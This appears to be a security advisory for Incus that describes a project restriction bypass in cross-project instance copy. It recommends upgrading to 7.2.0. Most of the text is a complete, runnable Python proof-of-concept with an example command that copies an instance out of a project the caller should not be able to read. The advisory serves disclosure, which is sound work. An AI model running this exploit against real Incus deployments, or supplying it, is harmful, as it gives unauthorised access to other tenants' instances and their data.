Incus has a project restriction bypass in instance copy across projects

Upgrade to 7.2.0

Exploitation

The below script was partly generated. To copy the secret instance to the default project, the following command can be used.

python3 poc.py --url https://IP-REMOTE:8443 \
    --cert path/to/client.crt --key path/to/client.key \
    --target-project default --source-project secrets \
    --source-instance secret --name copy-secret --insecure

Wait a bit for the instance to be copied, then incus ls remote: to see the copied instance.

#!/usr/bin/env python3
"""Copy an instance from a project the caller should not be able to read."""

from __future__ import annotations

import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request


def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
    ctx = ssl.create_default_context()
    if insecure:
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
    ctx.load_cert_chain(cert, key)

    req = urllib.request.Request(
        url.rstrip("/") + path,
        data=json.dumps(body).encode(),
        method="POST",
        headers={"Content-Type": "application/json", "Accept": "application/json"},
    )
    try:
        with urllib.request.urlopen(req, context=ctx) as resp:
            return resp.read()
    except urllib.error.HTTPError as exc:
        sys.stderr.write(exc.read().decode(errors="replace") + "\n")
        raise


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--url", required=True)
    ap.add_argument("--cert", required=True)
    ap.add_argument("--key", required=True)
    ap.add_argument("--target-project", required=True)
    ap.add_argument("--source-project", required=True)
    ap.add_argument("--source-instance", required=True)
    ap.add_argument("--name", required=True, help="new instance name in target project")
    ap.add_argument("--instance-only", action="store_true")
    ap.add_argument("--start", action="store_true")
    ap.add_argument("--insecure", action="store_true")
    ap.add_argument("--dry-run", action="store_true")
    args = ap.parse_args()

    body = {
        "name": args.name,
        "source": {
            "type": "copy",
            "source": args.source_instance,
            "project": args.source_project,
            "instance_only": args.instance_only,
        },
        "start": args.start,
    }
    path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project})
    print(json.dumps(body, indent=2))
    if args.dry_run:
        return 0
    print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Impact

An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.